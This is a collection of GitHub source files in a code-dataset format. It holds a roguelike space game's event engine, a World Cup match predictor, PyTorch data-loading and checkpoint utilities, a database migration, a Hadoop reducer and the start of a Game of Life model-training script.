self.game.render_engine.SCREEN_WIDTH, self.game.render_engine.SCREEN_HEIGHT).items():\n if (value == False):\n self.game.current_location.generate_new_sector(key[0], key[1])\n if (\n self.game.player.current_ship.get_x() <= self.game.current_area.flags['center_x'] - self.game.render_engine.SCREEN_WIDTH//2\n or\n self.game.player.current_ship.get_x() >= self.game.current_area.flags['center_x'] + self.game.render_engine.SCREEN_WIDTH//2\n or\n self.game.player.current_ship.get_y() <= self.game.current_area.flags['center_y'] - self.game.render_engine.SCREEN_HEIGHT//2\n or\n self.game.player.current_ship.get_y() >= self.game.current_area.flags['center_y'] - self.game.render_engine.SCREEN_HEIGHT//2\n ):\n self.game.current_area = self.game.current_location.generate_local_area(self.game.player.current_ship.get_x(), self.game.player.current_ship.get_y())\n self.game.current_area.add_entity(self.game.player.current_entity)\n self.game.render_engine.ui['game_window'].area = self.game.current_area\n \n def resolve_enter(self, result):\n #TODO: figure out what to do for non-player entities\n if (result['entering_entity'].flags['is_player']) is True:\n self.game.current_location = result['target_entity']\n dx, dy = result['entering_entity'].x - result['target_entity'].x, result['entering_entity'].y - result['target_entity'].y\n theta = convert_delta_to_theta(dx, dy)\n self.game.current_location.entity_list.append(result['entering_entity'])\n if (isinstance(self.game.current_location, System)):\n if(self.game.current_location.explored == False):\n self.game.galaxy.galaxy_generator.generate_planets(self.game.current_location)\n self.game.current_location.explored = True\n result['entering_entity'].x, result['entering_entity'].y = int(self.game.current_location.hyperlimit*math.cos(theta)), int(self.game.current_location.hyperlimit*math.sin(theta))\n self.game.generate_current_area()\n self.game.current_area.add_entity(self.game.player.current_entity)\n self.game.render_engine.ui['game_window'].area = self.game.current_area\n \n def resolve_exit(self, result):\n if ('is_player' in result['exiting_entity'].flags and result['exiting_entity'].flags['is_player'] is True):\n theta = convert_delta_to_theta(result['exiting_entity'].x, result['exiting_entity'].y)\n delta = convert_theta_to_delta(theta)\n result['exiting_entity'].x, result['exiting_entity'].y = self.current_location.x + delta[0], self.game.current_location.y + delta[1]\n self.game.current_location.entity_list.append(result['exiting_entity'])\n self.game.generate_current_area()\n self.game.current_area.add_entity(self.game.player.current_entity)\n \n def resolve_jump(self, result):\n if(not isinstance(self.game.current_location, System) ==True):\n return False\n else:\n if (((self.game.player.current_ship.get_x()**2) + (self.game.player.current_ship.get_y()**2))**(1/2)) > self.game.current_location.hyperlimit:\n delta = convert_theta_to_delta(convert_delta_to_theta(result['x'], result['y']))\n new_x = self.game.current_location.x + delta[0]\n new_y = self.game.current_location.y + delta[1]\n self.game.current_location = self.game.galaxy\n self.game.player.current_ship.x = new_x\n self.game.player.current_ship.y = new_y\n for key, value in self.game.current_location.check_explored_corners(self.game.player.current_ship.get_x(), self.game.player.current_ship.get_y(), self.game.render_engine.SCREEN_WIDTH, self.game.render_engine.SCREEN_HEIGHT).items():\n if (value == False):\n self.game.current_location.generate_new_sector(key[0], key[1])\n self.game.current_area = self.game.current_location.generate_local_area(self.game.player.current_ship.get_x(), self.game.player.current_ship.get_y())\n self.game.current_area.add_entity(self.game.player.current_entity)\n self.game.render_engine.ui['game_window'].area = self.game.current_area\n return True\n else:\n return False\n\n\n\n def resolve_keyboard_input(self, result):\n if(result[\"type\"] == \"move\"):\n self.global_queue.push(Action(self.game.player.current_ship, self.global_time+1, resolve_move_action, dx=result[\"value\"][0], dy=result[\"value\"][1], area=self.game.current_area, is_player=True))\n elif(result[\"type\"] == \"jump\"):\n self.global_queue.push(Action(self.game.player.current_ship, self.global_time+1, resolve_jump_action, y=self.game.player.current_ship.get_x(), x=self.game.player.current_ship.get_y(), area=self.game.current_area, is_player=True))\n elif(result[\"type\"] == \"wait\"):\n actions = self.game.player.current_ship.engine.generate_move_actions(self.global_time, 1)\n for action in actions:\n self.global_queue.push(action)\n self.global_queue.push(Action(self.game.player.current_ship, self.global_time+1, resolve_wait_action, is_player=True))\n elif(result[\"type\"] == \"thrust\"):\n self.game.player.current_ship.thrust(result[\"value\"][0], result[\"value\"][1])\n actions = self.game.player.current_ship.engine.generate_move_actions(self.global_time,1)\n for action in actions:\n self.global_queue.push(action)\n elif(result[\"type\"] == \"cheat-fuel\"):\n self.game.player.current_ship.fuel += 10\n elif(result[\"type\"] == \"menu\"):\n if result[\"value\"] == 'game':\n self.game.game_state = \"game_menu\"\n self.game.current_menu = self.game.game_menu\n self.game.render_engine.ui['game_menu'].visible = True\n self.game.render_engine.ui['game_window'].visible = False\n self.game.render_engine.ui['hud'].visible = False\n elif result[\"value\"] == 'dev-system':\n self.game.game_state = \"menu_command_menu_render\"\n self.game.current_menu = self.game.render_engine.ui[\"dev\"].elements[\"command_menu\"]\n self.game.render_engine.ui[\"dev\"].visible = True\n\n def handle_menu_key_presses(self, result) -> dict:\n key_result = {'type': 'none'}\n if result['type'] == 'select':\n key_result = self.game.current_menu.menu_items[self.game.current_menu.active_item].kwargs['select']()\n elif result['type'] == 'up':\n if self.game.current_menu.active_item > 0:\n self.game.current_menu.active_item -= 1\n key_result = {'type': 'move', 'value': 'up'}\n elif result['type'] == 'down':\n if self.game.current_menu.active_item < len(self.game.current_menu.menu_items) - 1:\n self.game.current_menu.active_item += 1\n key_result = {'type': 'move', 'value': 'down'}\n return key_result\n\n def resolve_menu_kb_input(self, result):\n if result['type'] == 'exit':\n raise SystemExit()\n elif result['type'] == 'game':\n if result['value'] == 'new':\n self.game.start_new_game()\n elif result['value'] == 'load':\n self.game.load_game()\n elif result['value'] == 'dev-system':\n self.game.start_dev_system()\n elif result['value'] == 'dev-tileset':\n self.game.start_dev_tileset()\n self.game.game_state = 'game'\n elif result['type'] == 'close':\n self.game.game_state = 'game'\n if 'debug' in self.game.state_flags and self.game.state_flags['debug']:\n self.game.render_engine.ui['dev'].visible = False\n self.game.render_engine.ui['game_menu'].visible = False\n self.game.render_engine.ui['game_window'].visible = True\n self.game.render_engine.ui['hud'].visible = True\n elif result['type'] == 'open':\n if result[\"value\"] == 'spawn_entity':\n self.game.current_menu = self.game.render_engine.ui['dev'].elements['spawn_entity']\n self.game.game_state = 'menu_spawn_entity_render'\n self.game.render_engine.ui['dev'].elements['command_menu'].visible = False\n self.game.render_engine.ui['dev'].elements['spawn_entity'].visible = True\n elif result[\"value\"] == 'command_menu':\n self.game.current_menu = self.game.render_engine.ui['dev'].elements['command_menu']\n self.game.game_state = 'menu_command_menu_render'\n self.game.render_engine.ui['dev'].elements['command_menu'].visible = True\n self.game.render_engine.ui['dev'].elements['spawn_entity'].visible = False\n elif(result[\"type\"] == \"save\"):\n self.game.save_game()\n self.game.game_state = \"game\"","repo_name":"alexander-l-stone/RogueSpace","sub_path":"source/engine/eventengine.py","file_name":"eventengine.py","file_ext":"py","file_size_in_byte":10353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20978396161","text":"import itertools\nimport pandas as pd\n\n# 调试输出\ndef pp(*args):\n print(*args)\n pass\n\n\nWIN_THRESHOSH = 0.7\nWIN_RATE_THRESHOSH = 0.1\nYEAR = 2016\nYEAR_LONG = 2012\n\nTEAMS = [\n['Russia', 'Saudi Arabia', 'Egypt', 'Uruguay'],\n['Portugal', 'Spain', 'Morocco', 'Iran'],\n['France', 'Australia', 'Peru', 'Denmark'],\n['Argentina', 'Iceland', 'Croatia', 'Nigeria'],\n['Brazil', 'Switzerland', 'Costa Rica', 'Serbia'],\n['Germany', 'Mexico', 'Sweden', 'Korea Republic'],\n['Belgium', 'Panama', 'Tunisia', 'England'],\n['Poland', 'Senegal', 'Colombia', 'Japan']\n]\n\nALL_TEAMS = [t for g in TEAMS for t in g]\n\ndef load_data(year=1800):\n df = pd.read_csv('results.csv')\n return df[df['date'] > str(year)]\n\n# 计算某支球队对战其他球队的历史战绩\ndef calc_rate(team, df):\n df_home = df[(df['home_team']==team) & (df['away_team'].isin(ALL_TEAMS))]\n df_away = df[(df['away_team']==team) & (df['home_team'].isin(ALL_TEAMS))]\n win = len(df_home[df_home['home_score'] > df_home['away_score']]) + len(df_away[df_away['away_score'] > df_away['home_score']])\n draw = len(df_home[df_home['home_score'] == df_home['away_score']]) + len(df_away[df_away['away_score'] == df_away['home_score']])\n win_rate = (win + draw / 2) / (len(df_home) + len(df_away))\n if team == 'Russia':\n win_rate += 0.5 # 东道主加成\n return win_rate\n\n# 根据两支球队的历史战绩计算相互间的胜率\ndef match_rate(home, away):\n win_rate1 = calc_rate(home, data)\n win_rate2 = calc_rate(away, data)\n pp(win_rate1, win_rate2)\n if win_rate1 - win_rate2 > WIN_RATE_THRESHOSH:\n return 1\n elif win_rate2 - win_rate1 > WIN_RATE_THRESHOSH:\n return -1\n else:\n if win_rate1 > win_rate2:\n return 0.5\n elif win_rate1 < win_rate2:\n return -0.5\n else:\n return 0\n\n# 计算两支球队相互间的胜率\ndef match(home, away, long=False):\n if long:\n df = data_long\n else:\n df = data\n df1 = df[(df['home_team']==home) & (df['away_team']==away)]\n df2 = df[(df['home_team']==away) & (df['away_team']==home)]\n count = len(df1) + len(df2)\n if count == 0:\n if not long:\n return match(home, away, True) # 使用更早的数据\n else:\n return match_rate(home, away) # 使用间接对战数据\n win = len(df1[df1['home_score'] > df1['away_score']]) + len(df2[df2['away_score'] > df2['home_score']])\n lose = len(df1[df1['home_score'] < df1['away_score']]) + len(df2[df2['away_score'] < df2['home_score']])\n draw = len(df1[df1['home_score'] == df1['away_score']]) + len(df2[df2['away_score'] == df2['home_score']])\n pp(count, win, lose, draw)\n if (win + draw / 2) / count > WIN_THRESHOSH:\n return 1\n elif (lose + draw / 2) / count > WIN_THRESHOSH:\n return -1\n else:\n if win > lose:\n return 0.5\n elif lose > win:\n return -0.5\n else:\n return 0.5 * match_rate(home, away)\n\nresult = {}\nfor offset in range(11): # 年限循环\n for offset_l in range(4): # 更早年限循环\n data = load_data(YEAR - offset)\n data_long = load_data(YEAR - offset - 4 - offset_l)\n teams_rate = []\n teams_ko = []\n\n # 小组赛\n for group in TEAMS:\n scores = {}\n for t in group:\n scores[t] = 0\n for home, away in itertools.combinations(group, 2):\n # 两两对战\n s = match(home, away)\n pp(home, away, s)\n if s == 1:\n scores[home] += 3\n elif s == -1:\n scores[away] += 3\n else:\n scores[home] += 1\n scores[away] += 1\n\n pp(scores)\n rank = sorted(scores.items(), key=lambda x: -x[1])\n # 处理平分情况\n for i in range(3):\n for j in range(i+1, 4):\n if rank[i][1] == rank[j][1]:\n # 平分球队直接比较历史胜率\n s = match_rate(rank[i][0], rank[j][0])\n if s > 0:\n scores[rank[i][0]] += 0.1\n elif s < 0:\n scores[rank[j][0]] += 0.1\n else:\n pp('DRAW ERROR!')\n\n rank = sorted(scores.items(), key=lambda x: -x[1])\n pp(rank)\n\n # 输出小组赛结果\n for i in rank:\n print(i[0], i[1], end=' | ')\n print()\n teams_ko.append([rank[0][0], rank[1][0]])\n pp(teams_ko)\n\n # 淘汰赛分配\n ko_list = []\n for j in [0, 1]:\n for i in range(8):\n ko_list.append(teams_ko[i][(i+j)%2])\n pp(ko_list)\n # 4轮淘汰赛\n for rd in range(4):\n for vs in range(8//2**rd):\n home = ko_list[vs*2]\n away = ko_list[vs*2+1]\n win = match(home, away)\n pp(win)\n if win > 0:\n ko_list[vs] = home\n elif win < 0:\n ko_list[vs] = away\n else:\n pp('ko', home, away, 'DRAW ERROR!')\n # 输出淘汰赛结果\n for i in ko_list[:vs+1]:\n print(i, end=' ')\n print()\n result[ko_list[0]] = result.get(ko_list[0], 0) + 1\n # 最终结果累计\n print(YEAR-offset, ko_list[0], result)\n print()\n","repo_name":"crossin/snippet","sub_path":"worldcup/worldcup.py","file_name":"worldcup.py","file_ext":"py","file_size_in_byte":5589,"program_lang":"python","lang":"en","doc_type":"code","stars":317,"dataset":"github-code","pt":"31"} +{"seq_id":"41182364600","text":"import pickle\nimport random\nfrom pathlib import Path\nfrom typing import List, Dict, Tuple, Union, Optional\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport pathlib\nfrom collections import defaultdict\nfrom torchvision import transforms\nfrom torch.utils.data import Dataset, random_split, DataLoader\n\n\nclass LazySuperTuxDataset(Dataset):\n def __init__(\n self,\n path:str = 'data', \n transform=None,\n ):\n super().__init__()\n\n # list with paths to folders with episodes\n self.episodes = list(set([k.parent for k in pathlib.Path(path).rglob('*.pt')]))\n\n # transformation for images\n if transform is None:\n self.transform = transforms.ToTensor() \n else:\n self.transform = transforms.Compose([\n transform,\n transforms.ToTensor,\n ])\n\n print(f\"Number of episodes: {len(self.episodes)}\")\n \n def __len__(self):\n return len(self.episodes)\n\n def __getitem__(self, idx):\n \"\"\"\n returns timestep, \n image\n velocity\n rotation\n actions \n reward \n reward-to-go \n \"\"\"\n path_idx = self.episodes[idx]\n\n imgs = []\n vel = []\n rot = []\n actions = []\n rewards = []\n timesteps = []\n\n for p in pathlib.Path(path_idx).rglob('*.pt'):\n # only load numeric files which hold state information\n if not (p.name.split('.')[0]).isnumeric():\n continue\n\n # load dictionary\n d = load_dict(p)\n\n # save states\n s = d['state']\n imgs.append(self.transform(s['img'])[None])\n vel.append(s['vel'])\n rot.append(s['rot'])\n # save actions\n a = d['action']\n a = [a['steer'], a['acceleration'], a['drift'], a['brake']]\n actions.append(a)\n # save rewards\n r = d['reward']\n rewards.append(r)\n # save timestep\n timesteps.append(int(p.name.split('.')[0]))\n\n # sort all the timesteps\n t = torch.as_tensor(timesteps, dtype=torch.float32)\n a = torch.as_tensor(actions, dtype=torch.float32)\n r = torch.as_tensor(rewards, dtype=torch.float32)\n img = torch.cat(imgs)\n v = torch.as_tensor(np.array(vel), dtype=torch.float32)\n ro = torch.as_tensor(np.array(rot), dtype=torch.float32)\n # calculate rewards to go\n r_cum = r.cumsum(0)\n rg = r - r_cum + r_cum[-1]\n\n ord = torch.argsort(t)\n \n return tuple(k[ord] for k in [t,img,v,ro,a,r,rg])\n\n\nclass SuperTuxDataset(Dataset):\n def __init__(\n self,\n path:str = 'data', \n transform=None,\n ):\n super().__init__()\n\n # list of states, action, reward-to-go\n imgs = defaultdict(lambda: [])\n vel = defaultdict(lambda: [])\n rot = defaultdict(lambda: [])\n actions = defaultdict(lambda: [])\n rewards = defaultdict(lambda: [])\n timesteps = defaultdict(lambda: [])\n\n # transformation for images\n if transform is None:\n transform = transforms.ToTensor() \n else:\n transform = transforms.Compose([\n transform,\n transforms.ToTensor,\n ])\n \n # get paths to all images\n for p in pathlib.Path(path).rglob('*.pt'):\n # only load numeric files which hold state information\n if not (p.name.split('.')[0]).isnumeric():\n continue\n\n # load dictionary\n d = load_dict(p)\n\n # save states\n s = d['state']\n imgs[p.parent].append(transform(s['img'])[None])\n vel[p.parent].append(s['vel'])\n rot[p.parent].append(s['rot'])\n # save actions\n a = d['action']\n a = [a['steer'], a['acceleration'], a['drift'], a['brake']]\n actions[p.parent].append(a)\n # save rewards\n r = d['reward']\n rewards[p.parent].append(r)\n # save timestep\n timesteps[p.parent].append(int(p.name.split('.')[0]))\n\n # sort all the timesteps\n self.data = []\n for k in timesteps.keys():\n t = torch.as_tensor(timesteps[k], dtype=torch.float32)\n a = torch.as_tensor(actions[k], dtype=torch.float32)\n r = torch.as_tensor(rewards[k], dtype=torch.float32)\n img = torch.cat(imgs[k])\n v = torch.as_tensor(vel[k], dtype=torch.float32)\n ro = torch.as_tensor(rot[k], dtype=torch.float32)\n # calculate rewards to go\n r_cum = r.cumsum(0)\n rg = r - r_cum + r_cum[-1]\n\n ord = torch.argsort(t)\n self.data.append(tuple(k[ord] for k in [t,img,v,ro,a,r,rg]))\n \n print(f\"Number of episodes: {len(self.data)}\")\n \n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n \"\"\"\n returns timestep, \n image\n velocity\n rotation\n actions \n reward \n reward-to-go \n \"\"\"\n return self.data[idx]\n\n\nclass SuperTuxImages(Dataset):\n def __init__(\n self,\n path:str = 'data', \n train_transform=None, \n test_transform=None, \n test=False,\n ):\n super().__init__()\n\n # list of images\n self.data = []\n \n # transforms to use\n self.test = test\n self.train_transform = train_transform\n self.test_transform = test_transform\n if train_transform is None:\n self.train_transform = lambda x: x \n if test_transform is None:\n self.test_transform = lambda x: x \n self.to_tensor = transforms.ToTensor() \n \n # get paths to all images\n for p in pathlib.Path(path).rglob('*.pt'):\n # only load numeric files which hold state information\n if not (p.name.split('.')[0]).isnumeric():\n continue\n\n # load dictionary\n img = load_dict(p)['state']['img']\n\n self.data.append(img)\n \n print(f\"Number of images: {len(self.data)}\")\n \n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n img = self.data[idx]\n img = self.to_tensor(img)\n if self.test:\n img = self.test_transform(img)\n else:\n img = self.train_transform(img)\n return img, img\n\ndef split_dataset(\n dataset,\n lengths,\n):\n # Get datasets\n lengths = np.floor(np.asarray(lengths) * len(dataset))\n lengths[-1] = len(dataset) - np.sum(lengths[:-1])\n subsets = random_split(\n dataset, \n lengths.astype(int).tolist(),\n torch.Generator().manual_seed(1234)\n )\n return subsets\n \ndef load_data(\n dataset, \n batch_size: int, \n num_workers: int,\n lengths = [0.7, 0.15,0.15],\n):\n subsets = split_dataset(dataset, lengths)\n train = subsets[0]\n return (DataLoader(\n train, \n num_workers=num_workers,\n batch_size=batch_size,\n shuffle=True,\n drop_last=True,\n ),) + tuple(DataLoader(\n k, \n num_workers=num_workers,\n batch_size=batch_size,\n shuffle=False,\n drop_last=True,\n ) for k in subsets[1:])\n\n\n# ----------------------------------------------------------------------------------\n\n# add class to save model metrics\n\n# ----------------------------------------------------------------------------------\n\n\nMODEL_CLASS_KEY = 'model_class'\nFOLDER_PATH_KEY = 'path_name'\n\n\ndef save_checkpoint(\n path: str, \n name: str, \n epoch: int, \n optimizer: torch.optim.Optimizer, \n **kwargs\n):\n '''Save a checkpoint of the training parameters\n \n Parameters\n ----------\n path : str\n The path to save the checkpoint to.\n name : str\n The name of the model.\n epoch : int\n The current epoch number\n optimizer : torch.optim.Optimizer\n torch.optim.Optimizer\n loss : float\n '''\n folder_path = f\"{path}/{name}\"\n pathlib.Path(folder_path).mkdir(parents=True, exist_ok=True)\n\n d = {\n 'epoch': epoch,\n 'optimizer': optimizer.state_dict(),\n }\n d.update(kwargs)\n torch.save(d, f\"{folder_path}/{name}_checkpoint.pt\")\n\n\ndef load_checkpoint(path: str, optimizer: torch.optim.Optimizer):\n '''It loads a checkpoint, and then loads the optimizer state\n \n Parameters\n ----------\n path : str\n the path to the folder where the checkpoint is stored\n name : str\n the name of the model\n optimizer : torch.optim.Optimizer\n torch.optim.Optimizer\n \n Returns\n -------\n The dictionary d is being returned.\n \n '''\n folder_path = pathlib.Path(path)\n path = f\"{folder_path.absolute()}/{folder_path.name}\"\n d = torch.load(f\"{path}_checkpoint.pt\", map_location='cpu')\n \n # load optimizer state\n optimizer.load_state_dict(d['optimizer'])\n d['optimizer'] = optimizer\n return d\n\n\ndef save_model(\n model: torch.nn.Module,\n folder: Union[pathlib.Path, str],\n model_name: str,\n models_dict:Dict,\n param_dicts: Dict = None,\n save_model: bool = True,\n) -> None:\n \"\"\"\n Saves the model so it can be loaded after\n\n :param model_name: name of the model to be saved (non including extension)\n :param folder: path of the folder where to save the model\n :param param_dicts: dictionary of the model parameters that can later be used to load it\n :param model: model to be saved\n :param save_model: If true the model and dictionary will be saved, otherwise only the dictionary will be saved\n \"\"\"\n # create folder if it does not exist\n folder_path = f\"{folder}/{model_name}\"\n pathlib.Path(folder_path).mkdir(parents=True, exist_ok=True)\n\n # save model\n if save_model:\n torch.save(model.state_dict(), f\"{folder_path}/{model_name}.th\")\n\n # save dict\n if param_dicts is None:\n param_dicts = {}\n\n # get class of the model\n model_class = None\n for k, v in models_dict.items():\n if isinstance(model, v):\n model_class = k\n break\n if model_class is None:\n raise Exception(\"Model class unknown\")\n param_dicts[MODEL_CLASS_KEY] = model_class\n\n # save the dictionary as plain text and pickle\n save_dict(param_dicts, f\"{folder_path}/{model_name}.dict\", as_str=True)\n save_dict(param_dicts, f\"{folder_path}/{model_name}.dict.pickle\", as_str=False)\n\n\ndef load_model(\n folder_path: str, \n models_dict:Dict,\n model_class: Optional[str] = None,\n) -> Tuple[torch.nn.Module, Dict]:\n \"\"\"\n Loads a model that has been previously saved using its name (model th and dict must have that same name)\n\n :param folder_path: folder path of the model to be loaded\n :param model_class: one of the model classes in `models_dict` dict. If none, it is obtained from the dictionary\n :return: the loaded model and the dictionary of parameters\n \"\"\"\n folder_path = pathlib.Path(folder_path)\n path = f\"{folder_path.absolute()}/{folder_path.name}\"\n # use pickle dictionary\n dict_model = load_dict(f\"{path}.dict.pickle\")\n\n # get model class\n if model_class is None:\n model_class = dict_model.get(MODEL_CLASS_KEY)\n\n # set folder path\n dict_model[FOLDER_PATH_KEY] = str(folder_path)\n\n return load_model_data(models_dict[model_class](**dict_model), f\"{path}.th\"), dict_model\n\n\ndef load_model_data(model: torch.nn.Module, model_path: str) -> torch.nn.Module:\n \"\"\"\n Loads a model than has been previously saved\n\n :param model_path: path from where to load model\n :param model: model into which to load the saved model\n :return: the loaded model\n \"\"\"\n model.load_state_dict(torch.load(model_path, map_location='cpu'))\n return model\n\ndef save_pickle(obj, path: Union[str, Path]):\n \"\"\"\n Saves an object with pickle\n\n :param obj: object to be saved\n :param save_path: path to the file where it will be saved\n \"\"\"\n with open(path, 'wb') as f:\n pickle.dump(obj, f, protocol=pickle.HIGHEST_PROTOCOL)\n\n\ndef load_pickle(path: Union[str, Path]):\n \"\"\"\n Loads an object with pickle from a file\n\n :param path: path to the file where the object is stored\n \"\"\"\n with open(path, 'rb') as f:\n return pickle.load(f)\n\n\ndef dict_to_str(d: Dict):\n str = '{\\n'\n for k,v in d.items():\n if isinstance(v, dict):\n v = dict_to_str(v)\n str += f\"'{k}':{v},\\n\"\n return str + '}'\n\n\ndef save_dict(d: Dict, path: str, as_str: bool = False) -> None:\n \"\"\"\n Saves a dictionary to a file in plain text\n :param d: dictionary to save\n :param path: path of the file where the dictionary will be saved\n :param as_str: If true, it will save as a string. If false, it will use pickle\n \"\"\"\n if as_str:\n with open(path, 'w', encoding=\"utf-8\") as file:\n # file.write(str(d))\n file.write(dict_to_str(d))\n else:\n save_pickle(d, path)\n\n\ndef load_dict(path: str) -> Dict:\n \"\"\"\n Loads a dictionary from a file (plain text or pickle)\n\n :param path: path where the dictionary was saved\n :return: the loaded dictionary\n \"\"\"\n try:\n return load_pickle(path)\n except pickle.UnpicklingError as e:\n # print(e)\n pass\n\n with open(path, 'r', encoding=\"utf-8\") as file:\n from ast import literal_eval\n s = file.read()\n return dict(literal_eval(s))\n\n\n# ----------------------------------------------------------------------------------\n\n\ndef set_seed(seed: int) -> None:\n \"\"\"\n This function sets a seed and ensure a deterministic behavior\n\n :param seed: seed for the random generators\n \"\"\"\n # set seed in numpy and random\n np.random.seed(seed)\n random.seed(seed)\n\n # set seed and deterministic algorithms for torch\n torch.manual_seed(seed)\n torch.use_deterministic_algorithms(True)\n\n # Ensure all operations are deterministic on GPU\n if torch.cuda.is_available():\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n # make deterministic\n torch.backends.cudnn.determinstic = True\n torch.backends.cudnn.benchmark = False\n\n # for deterministic behavior on cuda >= 10.2\n os.environ[\"CUBLAS_WORKSPACE_CONFIG\"] = \":4096:8\"\n\n\nclass dotdict(dict):\n \"\"\"dot.notation access to dictionary attributes\"\"\"\n __getattr__ = dict.get\n __setattr__ = dict.__setitem__\n __delattr__ = dict.__delitem__\n\n def __getstate__(self): \n return self.__dict__\n def __setstate__(self, d): \n self.__dict__.update(d)\n\n def copy(self):\n return dotdict(super().copy())\n\n\nif __name__ == '__main__':\n dataset = SuperTuxDataset()\n","repo_name":"vibalcam/deep-rl-supertux-race","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15044,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"11296069341","text":"\"\"\"\nSchema diffs:\n table with differences: folders\n\tdatabase missing these columns: is_rootfolder, superfolder_id\n table with differences: names_tags_stat\n\tmodel missing these columns: node_type\n table with differences: res\n\tdatabase missing these columns: first_access, http_status\n table with differences: tagnames_topic\n\tmodel missing these columns: event, explanation, location, plural, super_id, thing\n\tdatabase missing these columns: is_rootnode, supernode_id\n\"\"\"\nfrom sqlalchemy import *\nfrom sqlalchemy.orm import sessionmaker\nfrom migrate import *\n\nfrom script_mpe import taxus\nfrom script_mpe.taxus import core\n\nmeta = MetaData()\n\ndef drop_if_empty(meta, tables):\n\tsa = sessionmaker(bind=meta.bind)()\n\tfor t in tables:\n\t\tT = Table(t, meta, autoload=True)\n\t\tif not sa.query(T).all():\n\t\t\tT.drop()\n\t\t\tprint('dropped', t)\n\ndef create_column(t, col):\n\tif ( '%s_rev002' % col.name ) in t.c:\n\t\tt.c['%s_rev002' % col.name].alter(name=col.name)\n\telse:\n\t\tcol.create(t)\n\ndef drop_column(t, col):\n\tt.c[col.name].alter(name='%s_rev002' % col.name)\n\n\ntables = [\n\t\t]\n\ndef upgrade(migrate_engine):\n\t# Upgrade operations go here. Don't create your own engine; bind\n\t# migrate_engine to your metadata\n\tmeta.bind = migrate_engine\n\n\t#missing_from_model = \"groupnode_node, groupnodes, names_tag, names_topic, photos, topic_tag\".split(\", \")\n\t#drop_if_empty(meta, missing_from_model)\n\n\t# Add Adjacency list columns to folders table\n\tt = Table('folders', meta, autoload=True)\n\tcreate_column(t, Column('superfolder_id', Integer, ForeignKey('folders.id')))\n\tcreate_column(t, Column('is_rootfolder', Boolean))\n\treturn\n\n\tt = Table('folders', meta,\n\t\t\tColumn('id', INTEGER, primary_key=True, nullable=False),\n\t\t\tColumn('superfolder_id', Integer, ForeignKey('folders.id')),\n\t\t\tColumn('is_rootfolder', Boolean)\n\t\t)\n\tt.c.superfolder_id.create(t, populate_default=True)\n\n\tt = Table('folders', meta,\n\t\t\tColumn('is_rootfolder', Boolean),\n\t\t\textend_existing=True\n\t\t)\n\tt.c.is_rootfolder.create(t, populate_default=True)\n\n\t#t = Table('names_tags_stat', meta, autoload=True)\n\t#t = Table('res', meta, autoload=True)\n\t#t = Table('tagnames_topic', meta, autoload=True)\n\n\t#for table in tables:\n\t#\tt = Table('', meta, autoload=True)\n\t#\ttable.rename(table.name+'_rev002')\n\t#\ttable.create()\n\ndef downgrade(migrate_engine):\n\t# Operations to reverse the above upgrade go here.\n\tmeta.bind = migrate_engine\n\n\tt = Table('folders', meta, autoload=True)\n\tdrop_column(t, Column('superfolder_id', Integer, ForeignKey('folders.id')))\n\tdrop_column(t, Column('is_rootfolder', Boolean))\n\treturn\n\n\t#t = Table('folders', meta,\n\t#\t\tColumn('is_rootfolder', Boolean),\n\t#\t\tautoload=True,\n\t#\t\textend_existing=True\n\t#\t)\n\t#t.c.is_rootfolder.drop(t)\n\n\t#for table in tables:\n\t#\ttable.rename(table.name+'_rev002')\n\t\t#table.drop()\n","repo_name":"dotmpe/script-mpe","sub_path":"sa_migrate/bms/versions/002_resourcemixin_and_others.py","file_name":"002_resourcemixin_and_others.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"10470745063","text":"import sys\n\n\ndef reducer():\n # final result pair\n old_key = None\n total_count = 0\n\n for line in sys.stdin:\n # strip of extra whitespaces, also split on tab and put the data in a array\n data = line.strip().split(\"\\t\")\n\n # defensive code to handle cases where data is not as expected\n if len(data) == 2:\n # get the fields\n category, count = data\n # check if this key belongs to the same key computed earlier\n # this is possible due to shuffling & sorting which will merge the intermediate keys\n # produced by mapper\n if old_key and category != old_key:\n # display sales computed for the previous key\n results = [old_key, str(total_count)]\n print(\"\\t\".join(results))\n # reset total count value\n total_count = 0\n\n old_key = category\n total_count += float(count)\n\n # print out the last key:value\n if old_key is not None:\n results = [old_key, str(total_count)]\n print(\"\\t\".join(results))\n\n\ndef main():\n reducer()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"omkarprabhu-98/mapreduce-jobs-for-hadoop","sub_path":"02-wikipedia-link-analysis/hadoop-streaming-python/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13921638462","text":"import sys\r\nimport os\r\nsys.path.append(os.path.join(os.getcwd(), \"build/game_of_life\"))\r\n\r\nfrom game_of_life_py import GameOfLife\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nfrom PIL import Image\r\n\r\nfrom prediction import GridPredictionModel\r\nfrom trace import trace_model\r\n\r\n\r\ndef get_cuda_device():\r\n if torch.cuda.is_available():\r\n device = torch.device(\"cuda\")\r\n else:\r\n raise ValueError(\"No CUDA device found!\")\r\n\r\n return device\r\n\r\n\r\ndef show_grid(w, h, pixel_size, pixel_data):\r\n pixels = np.asarray(pixel_data).astype(np.uint8)\r\n pixels = pixels.reshape(h*pixel_size, w*pixel_size)\r\n image = Image.fromarray(pixels, 'L')\r\n image.show()\r\n\r\n\r\ndef show_probabilities(w, h, pixel_size, pixel_data):\r\n pixels = np.asarray(pixel_data).astype(np.uint8)\r\n pixels = pixels.reshape(h*pixel_size, w*pixel_size, 3)\r\n image = Image.fromarray(pixels, 'RGB')\r\n image.show()\r\n\r\n\r\ndef save_model(model):\r\n output_folder = os.path.join(os.path.dirname(__file__), 'saved')\r\n # for python\r\n torch.save(model.state_dict(), os.path.join(output_folder, 'game_of_life_grid.pt'))\r\n # for c++\r\n with torch.no_grad():\r\n trace_model(model, get_cuda_device())\r\n\r\n\r\ndef train_grid_model(w, h, cell_pixel_size, device):\r\n gol = GameOfLife()\r\n 